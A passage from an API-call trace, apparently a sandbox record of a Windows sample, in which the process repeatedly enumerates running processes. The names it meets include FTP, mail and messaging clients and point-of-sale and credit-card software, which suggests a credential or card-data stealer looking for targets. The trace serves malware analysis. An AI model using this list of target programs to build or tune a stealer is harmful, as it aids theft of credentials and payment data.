(in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0111.176] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0111.179] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0111.186] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0111.189] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0111.191] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0111.202] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0111.205] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0111.207] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0111.211] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0111.214] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0111.217] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0111.221] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0111.224] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0111.227] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0111.230] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0111.234] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0111.259] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0111.263] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0111.266] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0111.269] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0111.273] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0111.276] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0111.279] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0111.282] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0111.285] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0111.288] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0111.291] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0111.294] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0111.296] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0111.299] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0111.301] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0111.303] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0111.306] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0111.308] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0111.311] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0111.319] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0111.322] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0111.324] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0111.327] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0111.329] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0111.332] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0111.339] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0111.342] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0111.345] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0111.348] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0111.350] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0111.353] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0111.355] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0111.357] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0111.359] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0111.361] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0111.364] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0111.366] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0111.368] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0111.370] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0111.372] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0111.374] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0111.376] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0111.378] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0111.380] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0111.382] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0111.384] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.386] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.388] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.390] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0111.392] CloseHandle (hObject=0x1e90) returned 1 [0111.392] Sleep (dwMilliseconds=0x64) [0111.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20d4 [0111.524] Process32First (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.527] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.528] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.530] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.532] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.534] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.536] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.538] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.540] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.541] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.543] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.545] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.547] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.548] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.550] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.552] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.553] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.555] 